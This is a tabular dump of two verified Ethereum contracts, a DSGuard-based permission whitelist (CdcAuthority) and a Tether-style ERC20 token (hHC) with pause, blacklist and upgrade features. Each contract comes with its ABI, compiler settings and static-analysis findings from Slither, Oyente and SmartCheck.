contract_name
stringlengths 1
100
| contract_address
stringlengths 42
42
| language
stringclasses 2
values | source_code
stringlengths 0
1.24M
| solidetector
stringlengths 2
3.89k
⌀ | slither
stringlengths 2
4.49M
⌀ | oyente
stringlengths 2
10.8k
⌀ | smartcheck
stringlengths 2
78.6k
⌀ | abi
stringlengths 2
59.6k
| compiler_version
stringlengths 11
42
| optimization_used
bool 2
classes | runs
int64 0
1B
| constructor_arguments
stringlengths 0
60.2k
| evm_version
stringclasses 8
values | library
stringlengths 0
510
| license_type
stringclasses 14
values | proxy
bool 2
classes | implementation
stringlengths 0
42
| swarm_source
stringlengths 0
71
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CdcAuthority | 0x1c46aa39db5063def6d2ad748bd21a13c052ae00 | Solidity | // hevm: flattened sources of src/CdcAuthority.sol
pragma solidity =0.5.11 >0.4.13 >0.4.20 >=0.4.23 >=0.5.0 <0.6.0 >=0.5.5 <0.6.0 >=0.5.11 <0.6.0;
////// lib/ds-auth/src/auth.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.4.23; */
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
////// lib/ds-guard/src/guard.sol
// guard.sol -- simple whitelist implementation of DSAuthority
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.4.23; */
/* import "ds-auth/auth.sol"; */
contract DSGuardEvents {
event LogPermit(
bytes32 indexed src,
bytes32 indexed dst,
bytes32 indexed sig
);
event LogForbid(
bytes32 indexed src,
bytes32 indexed dst,
bytes32 indexed sig
);
}
contract DSGuard is DSAuth, DSAuthority, DSGuardEvents {
bytes32 constant public ANY = bytes32(uint(-1));
mapping (bytes32 => mapping (bytes32 => mapping (bytes32 => bool))) acl;
function canCall(
address src_, address dst_, bytes4 sig
) public view returns (bool) {
bytes32 src = bytes32(bytes20(src_));
bytes32 dst = bytes32(bytes20(dst_));
return acl[src][dst][sig]
|| acl[src][dst][ANY]
|| acl[src][ANY][sig]
|| acl[src][ANY][ANY]
|| acl[ANY][dst][sig]
|| acl[ANY][dst][ANY]
|| acl[ANY][ANY][sig]
|| acl[ANY][ANY][ANY];
}
function permit(bytes32 src, bytes32 dst, bytes32 sig) public auth {
acl[src][dst][sig] = true;
emit LogPermit(src, dst, sig);
}
function forbid(bytes32 src, bytes32 dst, bytes32 sig) public auth {
acl[src][dst][sig] = false;
emit LogForbid(src, dst, sig);
}
function permit(address src, address dst, bytes32 sig) public {
permit(bytes32(bytes20(src)), bytes32(bytes20(dst)), sig);
}
function forbid(address src, address dst, bytes32 sig) public {
forbid(bytes32(bytes20(src)), bytes32(bytes20(dst)), sig);
}
}
contract DSGuardFactory {
mapping (address => bool) public isGuard;
function newGuard() public returns (DSGuard guard) {
guard = new DSGuard();
guard.setOwner(msg.sender);
isGuard[address(guard)] = true;
}
}
////// src/CdcAuthority.sol
/* pragma solidity ^0.5.11; */
/* import "ds-guard/guard.sol"; */
/**
* @title CdcExchangeAuthority
* @dev Permissions whitelist with address-level granularity
*/
contract CdcAuthority is DSGuard {
bytes32 public name = "Authority";
}
| [{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["150", "170"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["171"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["40"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"CdcAuthority.sol": [171]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CdcAuthority.sol": [40, 41, 42, 43, 44, 45, 46]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CdcAuthority.sol": [153, 154, 155, 156, 157]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CdcAuthority.sol": [128, 129, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CdcAuthority.sol": [141, 142, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CdcAuthority.sol": [144, 145, 146]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CdcAuthority.sol": [48, 49, 50, 51, 52, 53, 54]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CdcAuthority.sol": [2]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"CdcAuthority.sol": [44]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"CdcAuthority.sol": [156]}}] | null | null | [{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"owner_","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"src","type":"address"},{"internalType":"address","name":"dst","type":"address"},{"internalType":"bytes32","name":"sig","type":"bytes32"}],"name":"forbid","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes32","name":"src","type":"bytes32"},{"internalType":"bytes32","name":"dst","type":"bytes32"},{"internalType":"bytes32","name":"sig","type":"bytes32"}],"name":"forbid","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract DSAuthority","name":"authority_","type":"address"}],"name":"setAuthority","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ANY","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"src_","type":"address"},{"internalType":"address","name":"dst_","type":"address"},{"internalType":"bytes4","name":"sig","type":"bytes4"}],"name":"canCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"authority","outputs":[{"internalType":"contract DSAuthority","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"src","type":"address"},{"internalType":"address","name":"dst","type":"address"},{"internalType":"bytes32","name":"sig","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes32","name":"src","type":"bytes32"},{"internalType":"bytes32","name":"dst","type":"bytes32"},{"internalType":"bytes32","name":"sig","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"src","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"dst","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"sig","type":"bytes32"}],"name":"LogPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"src","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"dst","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"sig","type":"bytes32"}],"name":"LogForbid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authority","type":"address"}],"name":"LogSetAuthority","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"LogSetOwner","type":"event"}] | v0.5.11+commit.c082d0b4 | true | 200 | Default | GNU LGPLv3 | false | bzzr://a5b35be51f78fa749150fc9c1f6db45966fa6a80087b01c87d73617769dafdf2 |
|||
hHC | 0x97cc1e26582763bf31f3434c552dfa7f748816ce | Solidity | /**
* @title HyperBC Token(HBT) TOKEN
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded CNYT) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract hHC is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function hHC(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | [{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["307"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["82"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["275", "64", "270", "270", "281", "286"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["295", "411", "435", "424", "410", "425"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [394, 395, 396, 397, 398, 399, 400]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [406, 407, 408, 409, 410, 411, 412, 413]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [310]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [256, 257, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [311]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [429, 430, 431, 432, 433, 434, 435, 436, 437, 438]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [68, 69, 70, 71, 72]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [264, 265, 262, 263]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [420, 421, 422, 423, 424, 425, 426, 427]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [312]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [288, 289, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [281, 282, 283, 284]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [291, 292, 293, 294, 295, 296, 297]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hHC.sol": [387, 388, 389, 390, 391]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 126, 127]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [85]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [85]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [96]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [95]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 126, 127]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [369, 370, 371, 372, 373, 374, 375]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [95]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [340, 341, 342, 343, 344, 345, 346, 347]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [352, 353, 354, 355, 356, 357, 350, 351]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hHC.sol": [96]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [5]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"hHC.sol": [70]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"hHC.sol": [389]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [369]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [281]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [217]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [199]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [126]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [217]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [378]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [171]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [340]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [171]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [286]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [350]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [199]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [350]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [291]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [126]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [271]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [369]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [82]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [378]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [350]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [340]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [171]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [387]}}, {"check": "unimplemented-functions", "impact": "Informational", "confidence": "High", "lines": {"hHC.sol": [311]}}] | [{"error": "Integer Underflow.", "line": 295, "level": "Warning"}, {"error": "Integer Underflow.", "line": 317, "level": "Warning"}, {"error": "Integer Underflow.", "line": 318, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 83, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 84, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 94, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 146, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 217, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 271, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 275, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 360, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 378, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 394, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 199, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 369, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 429, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 105, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 330, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 330, "severity": 1}] | 